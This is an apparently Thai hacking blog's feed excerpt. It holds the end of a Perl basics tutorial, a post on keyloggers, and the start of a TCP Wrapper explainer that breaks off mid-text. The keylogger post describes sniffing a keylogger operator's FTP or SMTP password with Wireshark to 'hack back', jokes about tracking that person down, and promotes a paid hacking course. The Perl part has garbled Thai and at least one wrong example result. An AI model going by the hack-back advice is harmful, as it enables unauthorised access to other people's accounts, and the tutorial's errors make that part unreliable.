&amp;nbsp;การหา Indexing ตัวสุดท้้ายของ Array&lt;br /&gt;
@foo = (6, 25, 43, 31);&lt;br /&gt;
$#foo &amp;nbsp; 3. Last index of @foo.&lt;br /&gt;
&lt;br /&gt;
โดยที่ $foo[$#foo]&amp;nbsp;&amp;nbsp; 31;&lt;br /&gt;
&amp;nbsp; การกำหนดปรับขนาดของตัวแปร Array&lt;br /&gt;
&amp;nbsp; $#foo = 5;&lt;br /&gt;
&amp;nbsp;เป็นการสร้าง Undefined values ที่ค่าต่อท้ายตัวแปร @foo&lt;br /&gt;
&amp;nbsp; $#foo = 2;&lt;br /&gt;
&amp;nbsp; เป็นการตัดค่าของตัวแปร @foo ให้เหลือเพียง 3 ค่า คือ 0-2&lt;br /&gt;
เพิ่มเติมเกี่ยวกับตัวแปร ARRAYS&lt;br /&gt;
&lt;br /&gt;
ตัวแปร Array สามารถกำหนด Index เป็็นค่าลบได ้ คือ ถ้า้ index 0&lt;br /&gt;
คือค่าแรก index -1 คือค่าสุดท้าย และ index -2 คือค่ารองสุดท้าย&lt;br /&gt;
เช่น $foo[$#foo] และ $foo[-1] มีความหมายเดียวกัน คือ&lt;br /&gt;
Index สุดท้าย&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;สามารถดึงข้อมูลบางส่วนของ Array ได้ดังนี้&lt;br /&gt;
&amp;nbsp; @bar = @foo[1..3]; @bar&amp;nbsp; (25, 43, 31)&lt;br /&gt;
&amp;nbsp; @bar = @foo[0,2]; @bar&amp;nbsp;&amp;nbsp; (3, 43)&lt;br /&gt;
&amp;nbsp; @bar = @foo[1]; @bar&amp;nbsp; (25);&lt;br /&gt;
&lt;br /&gt;
การเชื่อมต่่อและแยกข้้อความ JOIN/SPLIT&lt;br /&gt;
&amp;nbsp;การเชื่อมต่่อและแยกขอ้้ ความ เปน็็ คำสัั่งที่มีอยู่่ในภาษา Perl อันได้แ้ ก่่&lt;br /&gt;
&amp;nbsp;คำสั่ง split ใช้แยกข้อความออกเป็นหลายๆ ค่าด้วยเครื่องหมายที่กำหนด&lt;br /&gt;
&lt;br /&gt;
$BigString = “Hello,_I_am_Paul”;&lt;br /&gt;
@strings = split ‘_’, $BigString;&lt;br /&gt;
โดยที่ @strings&amp;nbsp; (“Hello,”, “I”, “am”, “Paul”);&lt;br /&gt;
คำสั่ง join เป็นคำสั่งที่ใช้เชื่อมข้อความเข้าด้วยกัน&lt;br /&gt;
$BigString = join ‘ ’, @strings;&lt;br /&gt;
โดยที่ $BigString&amp;nbsp; “Hello, I am Paul”;&lt;br /&gt;
&lt;br /&gt;
HASH&lt;br /&gt;
&amp;nbsp; (somewhat) Analogous to datatype hashtable.&lt;br /&gt;
&amp;nbsp; More closely resembles STL map&lt;br /&gt;
&amp;nbsp; aka “Associative Array” – ie, array not indexed by&lt;br /&gt;
numerical sequence.&lt;br /&gt;
&amp;nbsp; list of keys and values.&lt;br /&gt;
&amp;nbsp;All hash variables start with %&lt;br /&gt;
&amp;nbsp;Use to keep list of corresponding values&lt;br /&gt;
&amp;nbsp;TIP: Any time you feel the need to have two separate&lt;br /&gt;
arrays, and do something with elements at&lt;br /&gt;
corresponding positions in the arrays (but don’t care&lt;br /&gt;
where in array elements actually are), USE A HASH&lt;br /&gt;
HASH EXAMPLE&lt;br /&gt;
&amp;nbsp;Want a list of short names for months:&lt;br /&gt;
%months = (&lt;br /&gt;
“Jan” =&amp;gt; “January”,&lt;br /&gt;
“Feb” =&amp;gt; “February”,&lt;br /&gt;
“Mar” =&amp;gt; “March”,&lt;br /&gt;
…&lt;br /&gt;
);&lt;br /&gt;
&amp;nbsp;reference by *curly* brackets…&lt;br /&gt;
&amp;nbsp;Avoid confusion with array notation&lt;br /&gt;
&amp;nbsp;$month{“Jan”}&amp;nbsp; “January”;&lt;br /&gt;
MORE HASH EXAMPLES&lt;br /&gt;
&amp;nbsp;Hash elements can be dynamically created (in fact,&lt;br /&gt;
so can entire hashes)&lt;br /&gt;
&amp;nbsp;$profs{“Perl”} = “Paul Lalli”;&lt;br /&gt;
&amp;nbsp;$profs{“Op Sys”} = “Robert Ingalls”;&lt;br /&gt;
&amp;nbsp;$profs{“CS1”} = “David Spooner”;&lt;br /&gt;
&amp;nbsp;%profs &amp;nbsp; (“Perl” =&amp;gt; “Paul Lalli”,&lt;br /&gt;
&amp;nbsp;“Op Sys” =&amp;gt; “Robert Ingalls”,&lt;br /&gt;
&amp;nbsp;“CS1” =&amp;gt; “David Spooner”);&lt;br /&gt;
&amp;nbsp;Hashes will “flatten” into normal lists:&lt;br /&gt;
&amp;nbsp;@p_arr = %profs;&lt;br /&gt;
&amp;nbsp;@p_arr 􀃆(“Perl”, “Paul Lalli”, “Op Sys”, “Robert&lt;br /&gt;
Ingalls”, “CS1”, “David Spooner”);&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ตัวแปรพิเศษทีี่อยูใ่่ นภาษา PERL&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;$! – last error received by operating system&lt;br /&gt;
&amp;nbsp;$, – string used to separate items in a printed list&lt;br /&gt;
&amp;nbsp;$” – string to use to separate items in an&lt;br /&gt;
interpolated array (this makes sense next week)&lt;br /&gt;
&amp;nbsp;$_ - “default” variable, used by several functions&lt;br /&gt;
&amp;nbsp;%ENV – Environment variables&lt;br /&gt;
&amp;nbsp;@INC – directories Perl looks for include files&lt;br /&gt;
&amp;nbsp;$0 – name of currently running script&lt;br /&gt;
&amp;nbsp;@ARGV – command line arguments&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;คำสัั่งแสดงผลลัพธ์อ์ อกทางจอภาพ&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;the print statement.&lt;br /&gt;
&amp;nbsp;Takes a list of arguments to print out&lt;br /&gt;
&amp;nbsp;Before the list of arguments, optionally specify a&lt;br /&gt;
filehandle to which to print&lt;br /&gt;
&amp;nbsp;If omitted, default to STDOUT&lt;br /&gt;
&amp;nbsp;If the list of arguments is omitted, print whatever&lt;br /&gt;
value is currently in variable $_&lt;br /&gt;
&lt;br /&gt;
ตัวอย่า่ งการแสดงผลด้้วยคำสัั่ง PRINT&lt;br /&gt;
&lt;br /&gt;
Hello World program:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;#!/usr/bin/env perl&lt;br /&gt;print “Hello World\n”;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
ตัวอย่่าง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;print “My name is $name\n”;&lt;br /&gt;
&amp;nbsp;print “Hi ”, “what’s ”, “yours?\n”;&lt;br /&gt;
&amp;nbsp;print 5 + 3;&lt;br /&gt;
&amp;nbsp;print ((4 * 4). “\n”);&lt;br /&gt;
&lt;br /&gt;
การแสดงผลด้้วยคำสัั่ง PRINT ในรูปแบบอื่นๆ&lt;br /&gt;
สามารถใช้้คำสั่ง Print กับตัวแปร List ซึ่งโดยปกติแล้้ว คำสั่ง Print จะ&lt;br /&gt;
แสดงผลลัพธ์ของ Element ของ List เรียงต่อในบรรทัดเดียวกัน เช่น&lt;br /&gt;
&lt;br /&gt;
@nums = (23, 42, 68);&lt;br /&gt;
print @nums, “\n”;&lt;br /&gt;
&lt;br /&gt;
ผลลัพธ์ที่ได้ 234268&lt;br /&gt;
สามารถเปลี่ยนสัญลักษณ์ที่ใช้คั่นระหว่าง Element ของ List โดยใช้ตัวแปร&lt;br /&gt;
&lt;br /&gt;
$,&lt;br /&gt;
$, = “, ”;&lt;br /&gt;
print @nums, “\n”;&lt;br /&gt;
&lt;br /&gt;
ผลลัพธ์ที่ได้ 23, 42, 68&lt;br /&gt;
การรับค่่าจากคีย์บ์ อร์์ด&lt;br /&gt;
ตัวดำเนินการในการรับค่่า คือ “ &amp;lt;&amp;gt; ”&lt;br /&gt;
&amp;nbsp;มีชื่อเรียกว่า “angle operator” หรือ “diamond operator” ใช้สำหรับอ่าน&lt;br /&gt;
ไฟล์หรือคีย์บอร์ด ซึ่งค่าปกติ คือ STDIN&lt;br /&gt;
ตัวอย่างเช่น&lt;br /&gt;
&lt;br /&gt;
$input = &amp;lt;&amp;gt;;&lt;br /&gt;
&amp;nbsp;อ่า่นค่าจาก STDIN และบันทึกไว้ที่ตัวแปร $input&lt;br /&gt;
@input = &amp;lt;&amp;gt;;&lt;br /&gt;
&amp;nbsp;เป็นการอ่านค่าจาก STDIN และบันทึกไว้ที่ตัวแปร @input&lt;br /&gt;
คำสัั่ง CHOP และ CHOMP&lt;br /&gt;
เมื่อมีการอ่่านขอ้้ มูลแบบบรรทัด จะมี White Space ต่่อท้า้ยบรรทัดคือ “\n”&lt;br /&gt;
ซึ่งไม่ต้องการนำมาใช้ในการประมวลผล&lt;br /&gt;
&lt;br /&gt;
คำสั่ง chomp จะทำการกำจัด ตัวอักษรขึ้นบรรทัดใหม่ ที่ต่อท้าย&lt;br /&gt;
คำสั่ง chop จะทำการกำจัด ตัวอักษรตัวสุดท้าย ไม่ว่าจะเป็น White Space&lt;br /&gt;
หรือตัวอักษร ซึ่งคำสั่ง Chomp จะปลอดภัยว่า Chop&lt;br /&gt;
&amp;nbsp;คำสั่ง chomp สามารถนำมาประยุกต์ใช้งานกับตัวแปร List ได้ โดยคำสั่ง&lt;br /&gt;
Chomp จะกระทำากับทุกๆ Elecment ใน List&lt;br /&gt;
chomp (@s = (“foo\n”,“bar\n”,“baz\n”));&lt;br /&gt;
โดยที่ @s&amp;nbsp;&amp;nbsp; (“foo”, “bar”, “baz”);</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/8140006156795516678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/8140006156795516678'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2014/02/perl-perl-interpreter-complier-perl-2-1.html' title='การเขียนภาษา Perl เบื้องต้น'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByQgjSdMDsSEFAAV1ejaiYW0WtTi8EQyRkr-DEPu_FV_DFUHebjylJbT86ZggavbiR8LuTkXJaN778iGzajWo_Nt5d2o0v4RMYH-WjOyXiL-oMOf0EJCHS4gCLOozS1yzyVQendLxp5Bb/s72-c/Untitled-1.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-9161360785886047642</id><published>2014-01-19T14:37:00.000+07:00</published><updated>2014-01-19T14:59:34.921+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><title type='text'>อธิบายการ Hack พวกที่ใช้ Keylogger</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpEqDkxLYqG7oQrg6UeLQ3Xf9_GqSULyu5xuF6XBU8pyWhr5pwS7srmhO3kuR3olcafk8bmwMtzEgv7eTnMx-n-PrLyq4bET6StfsiFxcw_kdx55YEggD4wVDmIiYQbHtgZUShn2JuoyR7/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpEqDkxLYqG7oQrg6UeLQ3Xf9_GqSULyu5xuF6XBU8pyWhr5pwS7srmhO3kuR3olcafk8bmwMtzEgv7eTnMx-n-PrLyq4bET6StfsiFxcw_kdx55YEggD4wVDmIiYQbHtgZUShn2JuoyR7/s1600/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keylogger ในปัจจุบันเป็นปัญหา ในระดับที่เรียกได้ว่าอันตรายต่อข้อมูล ของผู้ใช้คอมพิวเตอร์ ในยุคนี้&amp;nbsp; Keylogger ถือกำเนิดมาจากแนว คิดที่ว่าเอาไว้สอดส่อง พฤติกรรมของลูก หลาน แต่ก็มีการใช้ที่ผิดประสงค์จากเดิมอย่างมาก โดย เอาไปใช้ ในการขโมย ข้อมูลเพื่อทำการโจรกรรมต่างๆ เช่น ขโมย Use&amp;amp;Password ATM หรือ บัตรเครดิต เป็นต้น &lt;br /&gt;
ในบทความนี้จะอธิบายการทำงานของ Keylogger คร่าวๆ และ วิธี การตามรอย และ ดัดนิสัย พวกปล่อย Keylogger โดยส่วนใหญ่ เกรียน ที่วางไฟล์&amp;nbsp; Keylogger นั้นจะคิดว่าตัวเอง แมร่งเจ๋งละ เลยไม่ได้คาดว่ามันจะสามารถย้อนกลับไปทำร้ายตัวเองได้ &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ก่อนจะเริ่มต้น ก็ขออธิบายซะหน่อยว่า Keylogger คือ อะไร&lt;br /&gt;
Keylogger คือ โปรแกรมที่สามารถจดจำคีย์&amp;nbsp; (Key) ที่เรากดลงไปจาก Keyboard นั่นเอง&amp;nbsp;&amp;nbsp; เช่น เวลาที่เราเล่น facebook หรือเกมส์ต่างๆ เมื่อมีการกดลงบน Keyboard โปรแกรมพวกนี้จะจดจำคีย์ พวกนั้นไว้ แล้วโปรแกรมมันก็จะเก็บ Id และ password ทั้งหมดไว้ แล้วจะส่งไปยังผู้ที่ฝังโปรแกรมไว้ อาจจะส่งทางเมลล์ หรือ ftp ก็ได้ และนี่จึงเป็นสาเหตุหลักๆ ของการโดน Hack โดย ปกติแล้ว Keylogger จะส่งข้อมูลออกจากเครื่อง ในทุก 5 หรือ 10 นาที จากนั้นมันก็จะหยุดส่งข้อมูล&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Keylogger นั้นจะส่งข้อมูลไปในรูปแบบของ E-mail หรือ FTP ตามแต่ ผู้สร้างจะ set มันไว้ เราจะใช้ในส่วนตรงนี้ในการ Hack คืนหรือหาว่า IP ที่ดักเรามากจากใหน เมื่อเราได้ IP มาแล้ว ถ้าเป็นผม เมื่อเงินในกระเป๋า ผมหมด ผมก็จะเอาหลักฐานตรงนั้น ไปแจ้งความดำเนินคดี เรียกร้องเอาค่าเสียหาย ไป นั่งจิบเบียร์ เย็นๆเล่น&amp;nbsp; หรือ อาจจะตามไปถึงบ้านแล้วเอาตะเกียบ ไปดีดใข่&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; โปรแกรมที่จะใช้ในการ Hack ย้อนทางคือ Wireshark โปรแกรม Wireshark นั้นคือโปรแกรมที่มีไว้ดักจับ Packet ระหว่าง&amp;nbsp; Client ไป&amp;nbsp; Server โปรแกรมนี้ สามารถจับ Packet ได้หลายๆ Protocal เช่นพวก TCP,UDP,SMTP,FTP,HTTP ฯลฯ เราจะใช้โปรแกรมนี้สำหรับ ดัก Packet ที่ Keylogger ส่งข้อมูลออกจาก เครื่องไปหา เซิฟเวอร์ หรือ E-mail ของผู้ที่สร้าง Keylogger ขั้นตอนแรกคือ ติดตั้ง โปรแกรม Wireshark ใน VMware ซึ่งหาได้จาก Google ซึ่งหาได้ทุกอย่าง&lt;br /&gt;
ต่อมาให้ เปิด Windows ใน VMware เปิดโปรแกรม Wireshark ที่เราได้ ติดตั้งเอาไว้ จากนั้น กด Capture เลือก Interface.. จากนั้นเลือก Device ที่เราจะ Sniff เพื่อดูรหัสผ่าน FTP ของคนที่สร้าง Keylogger&lt;br /&gt;
&lt;br /&gt;
เมื่อ เลือกแล้ว จากนั้น ตรงช่อง Filter: ให้พิมพ์&amp;nbsp; ftp แล้วรอประมาณ 20 - 30 นาที ถ้าเห็น Protocal FTP ขึ้น ก็แสดงว่า Keylogger ตัวนี้ส่งข้อมูล ผ่าน Port 21 ซึ่งเป็น Protocal FTP &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;กรณีที่ไม่เจอ Protocal FTP &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; ให้เปลี่ยนจาก ftp เป็น&amp;nbsp; smtp จากนั้นก็รอ 20-30 นาทีเช่นเดิม แค่นี้เราก็ได้ E-mali&amp;amp;Password ของ Keylogger ตัวนี้มา&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;อธิบายต่อ ว่า FTP คือ อะไร และ SMTP คืออะไร&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; SMTP ย่อมาจาก Simple Mail Transfer Protocol คือ Protocol&amp;nbsp; แบบ TCP/IP ที่ใช้ในการส่ง E-Mail ในเครือข่ายอินเทอร์เน็ต ไปยังเครื่องบริการอื่น ๆ ซี่งสามารถส่งเมล์ไปยังผู้ใช้ได้ทั่วโลก มีข้อจำกัดในเรื่องของความสามารถในการส่ง e-mail ว่ามันสามารถทำได้แบบเป็นคิวเท่านั้น และ SMTP ส่วนใหญ่จะไม่ยอมให้คนนอกองค์กร หรือ IP ที่อยู่นอกองค์กรใช้งาน SMTP&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; FTP ย่อมาจาก File Transfer Protocol คือ โปรโตคอลเครือข่ายชนิดหนึ่ง ถูกนำใช้ในการถ่ายโอนไฟล์ ระหว่างเครื่องคอมพิวเตอร์ อย่างการถ่ายโอนไฟล์ระหว่าง ไคลเอนต์ (client) กับเครื่องคอมพิวเตอร์ที่เป็นแม่ข่าย เรียกว่า โฮสติง (hosting) หรือ เซิร์ฟเวอร์ ซึ่งทำให้การถ่ายโอนไฟล์ง่ายและปลอดภัยในการแลกเปลี่ยนไฟล์ผ่านอินเตอร์เน็ต การใช้ FTP ที่พบบ่อยสุด ก็เช่น การดาวน์โหลดไฟล์จากอินเทอร์เน็ต ความสามารถในการถ่ายโอนไฟล์ ทำให้ FTP เป็นสิ่งจำเป็นสำหรับทุกคนที่สร้างเว็บเพจ ทั้งมือสมัครเล่นและมืออาชีพ โดยที่การติดต่อกันทาง FTP เราจะต้องติดต่อกันทาง Port 21 ซึ่งก่อนที่จะเข้าใช้งานได้นั้น จะต้องเป็นสมาชิกและมีชื่อผู้เข้าใช้ (User) และ รหัสผู้เข้าใช้ (password) ก่อน และโปรแกรมสำหรับติดต่อกับแม่ข่าย (server) ส่วนมากจะใช้โปรแกรมสำเร็จรูป เช่น โปรแกรม Filezilla,CuteFTP หรือ WSFTP ในการติดต่อ เป็นต้น&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;FTP แบ่งเป็น 2 ส่วน&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; 1. FTP server&amp;nbsp; เป็นโปรแกรมที่ถูกติดตั้งไว้ที่เครื่องเซิฟเวอร์ ทำหน้าที่ให้บริการ FTP หากมีการเชื่อมต่อจากไคลแอนเข้าไป&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; 2. FTP client&amp;nbsp; เป็นโปรแกรม FTP ที่ถูกติดตั้งในเครื่องคอมพิวเตอร์ของ user ทั่วๆไป ทำหน้าที่เชื่อมต่อไปยัง FTP server และทำการอัพโหลด ,ดาวน์โหลดไฟล์ หรือ จะสั่งแก้ไขชื่อไฟล์, ลบไฟล์ และเคลื่อนย้ายไฟล์ก็ได้เช่นกัน&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;ความสำคัญของ FTP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; โดยปกติเมื่อเราต้องการทำเว็บไซต์ไม่ว่าด้วยจุดประสงค์ใดก็ตาม สิ่งที่เราจะต้องนึกถึงและขาดไม่ได้คือ Hosting หรือ Server ซึ่งในปัจจุบันมีผู้ให้บริการอยู่เป็นจำนวนมาก การที่เว็บไซต์ของเราสามารถให้บริการได้ตลอด 24 ชั่วโมง โดยไม่มีหยุดนั้น ก็เพราะ Hosting ไม่เคยปิดนั่นเอง ส่วนการสร้างเว็บไซต์เกิดจากการเขียน Code โปรแกรม ไม่ว่าจะเขียนด้วยภาษา HTML , PHP , ASP , ฯลฯ ล้วนแล้วแต่ต้องนำไฟล์ที่เราเขียนเสร็จเรียบร้อยไปใส่บน Hosting เพื่อสามารถให้บริการได้ตลอด 24 ชั่วโมง 365 วัน แต่ด้วยหนทางที่อยู่ไกลกันระหว่างเรากับ Hosting ที่เราขอใช้บริการไว้ เราจึงต้องใช้เทคโนโลยีของคอมพิวเตอร์ ในการโอนย้ายไฟล์ระหว่างเครื่องคอมพิวเตอร์ของเรา กับ Hosting ซึ่งเทคโนโลยีนั้นคือ FTP นั่นเอง&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;*เรื่อง Hack พวก Keylogger และ Trojan ผมเอาไว้ในคอร์ด Hack ราคา 1500 บาท ดูรายระเอียดจากลิงค์ด้านล่าง&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://kiss-hack.blogspot.com/2013/08/hack-1-kiss-hack.html&quot;&gt;http://kiss-hack.blogspot.com/2013/08/hack-1-kiss-hack.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;เครดิต : BaNNeD &lt;a href=&quot;http://kiss-hack.blogspot.com/&quot;&gt;Kiss-Hack.blogspot.com &lt;/a&gt;&lt;br /&gt;จะก๊อปกรุณาให้เครดิตด้วย ถ้าไม่อยากโดน LC ในภายหลัง&lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/9161360785886047642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/9161360785886047642'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2014/01/reverse-engineering-keylogger-ftp-smtp.html' title='อธิบายการ Hack พวกที่ใช้ Keylogger'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpEqDkxLYqG7oQrg6UeLQ3Xf9_GqSULyu5xuF6XBU8pyWhr5pwS7srmhO3kuR3olcafk8bmwMtzEgv7eTnMx-n-PrLyq4bET6StfsiFxcw_kdx55YEggD4wVDmIiYQbHtgZUShn2JuoyR7/s72-c/images.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-729021118247290890</id><published>2013-12-16T10:13:00.000+07:00</published><updated>2013-12-16T10:13:30.412+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><title type='text'>TCP Wrapper คืออะไร?</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB9QpgqCEdSpIeL3F2aLurP7YD7KYXNhmtuv_o0UAxNqlU8jbNl5UNQpkPmugE2pywsJiDbjlpfR5BiSCfYHwN3VHWYQ7uKQKCoOJII7NGrsrHKEKzgyrNng2wT8JnUpOBnpoUm7c99URL/s1600/tcp-wrappers-envolturas_1_609369-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB9QpgqCEdSpIeL3F2aLurP7YD7KYXNhmtuv_o0UAxNqlU8jbNl5UNQpkPmugE2pywsJiDbjlpfR5BiSCfYHwN3VHWYQ7uKQKCoOJII7NGrsrHKEKzgyrNng2wT8JnUpOBnpoUm7c99URL/s1600/tcp-wrappers-envolturas_1_609369-1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp; TCP Wrapper จัดว่าเป็นโปรแกรมที่ช่วยในด้านความปลอดภัยที่มีประโยชน์มาก สามารถ&lt;br /&gt;
ลดความเสี่ยงในการที่เครื่องของท่านจะถูกบุกรุกได้อย่างมีประสิทธิภาพ TCP-Wrapper มีหน้าที่&lt;br /&gt;
ตรวจสอบคำขอใช้บริการงานต่างๆ ที่เข้ามาในเครื่องของเรา และพิจารณาว่าจะให้บริการหรือไม่&lt;br /&gt;
ตามคำสั่งที่เราระบุไว้&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TCP Wrapper คืออะไร?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; TCP Wrapper จะทำการตรวจสอบว่าผู้ใช้จากเครื่องอื่นๆ สามารถมาใช้บริการต่างๆ ของ&lt;br /&gt;
เครื่องเราหรือไม่ โดยจะทำงานภายใต้ Inetd (Internet Daemon)&lt;br /&gt;
การที่เครื่องเราให้บริการงานต่างๆ เราจะเรียกว่าเป็น Server ของบริการนั้นๆ เช่น FTP&lt;br /&gt;
Server การที่จะเป็น Server เครื่องของเราจะต้องมีโปรแกรม ซึ่งทำหน้าที่คอยฟัง (listen) คำขอ&lt;br /&gt;
ใช้บริการจากเครื่องลูกข่าย (Client) เมื่อมีคำขอมาแล้ว ก็จะเริ่มให้บริการจนสิ้นสุด จากนั้นก็จะวน&lt;br /&gt;
กลับไปอยู่ในโหมด listen ต่อไป&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; โปรแกรมที่ทำหน้าที่เป็น Server (บางทีเรียกว่า daemon) ลักษณะการเขียนส่วนมากจะ&lt;br /&gt;
เขียนเป็นชื่อโปรโตคอลที่ให้บริการ แล้วตามด้วยตัว “d” (ย่อมาจาก daemon) เช่น โปรแกรมที่ทำ&lt;br /&gt;
หน้าที่ HTTP Server เราก็จะเรียกว่า httpd และโปรแกรมที่ทำหน้าที่ FTP Server เราก็จะ&lt;br /&gt;
เรียกว่า ftpd เป็นต้น&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; Server จะทำงานได้ 2 โหมด คือโหมด Stand-alone และแบบผ่าน Inetd ในแบบ Standalone&lt;br /&gt;
โปรแกรมที่ทำหน้าที่เป็น Server นั้น จะถูกเรียกให้ทำงานทันทีและจะค้างอยู่ตลอด (อยู่ใน&lt;br /&gt;
listen mode ซึ่งสามารถดูได้โดยการใช้คำสั่ง ps ax หรือ ps –ef) ถึงยังไม่มีคำขอใช้บริการเข้ามา&lt;br /&gt;
ส่วนแบบ Inetd นั้น ตัว Inetd เองจะถูกเรียกให้ทำงานทันที และค้างอยู่ตลอด แต่ Daemon ที่ทำงานใต้ Inetd จะไม่ถูกเรียกให้ทำงาน จนกว่าจะมีคำขอใช้บริการ Inetd จะรับคำขอใช้บริการ&lt;br /&gt;
และดูว่าเป็นคำขอสำหรับ Server ตัวใด หลังจากนั้นก็จะทำการเรียกโปรแกรม Server นั้นให้&lt;br /&gt;
ทำงาน เมื่อทำงานเสร็จสิ้นแล้วก็จะปิดการทำงานไป เหลือแต่ Inetd โปรแกรมเดียว ที่ยังคงรับคำ&lt;br /&gt;
ขอต่อไป (ในแบบ listen mode)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; จะเห็นว่าในแบบ Stand-alone นั้น แต่ละ Server จะถูกเรียกให้ทำงานและค้างไว้ ซึ่งเป็น&lt;br /&gt;
การสิ้นเปลืองทรัพยากรของเครื่อง แต่หากมีคำขอใช้บริการก็สามารถทำงานได้ทันที แบบ Inetd&lt;br /&gt;
จะมีเพียง Inetd อันเดียวเท่านั้น ที่ถูกเรียกให้ทำงานค้างไว้ เป็นการประหยัดทรัพยากรของระบบ&lt;br /&gt;
แต่หากมีคำขอใช้บริการก็ต้องเสียเวลาในการเรียกใช้ Server แต่ละตัว แล้วก็ปิดไป และเปิดใหม่&lt;br /&gt;
เมื่อมีคำขอมาอีก&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; แบบ Stand-alone จะเหมาะกับ Server ที่ให้บริการงานที่มีคำขอใช้บริการมาก ส่วน Inetd&lt;br /&gt;
ก็จะเหมาะกับบริการที่มีผู้ขอใช้ไม่มากนัก ตัวอย่างเช่น หากเครื่องของเราทำหน้าที่หลักเป็น Web&lt;br /&gt;
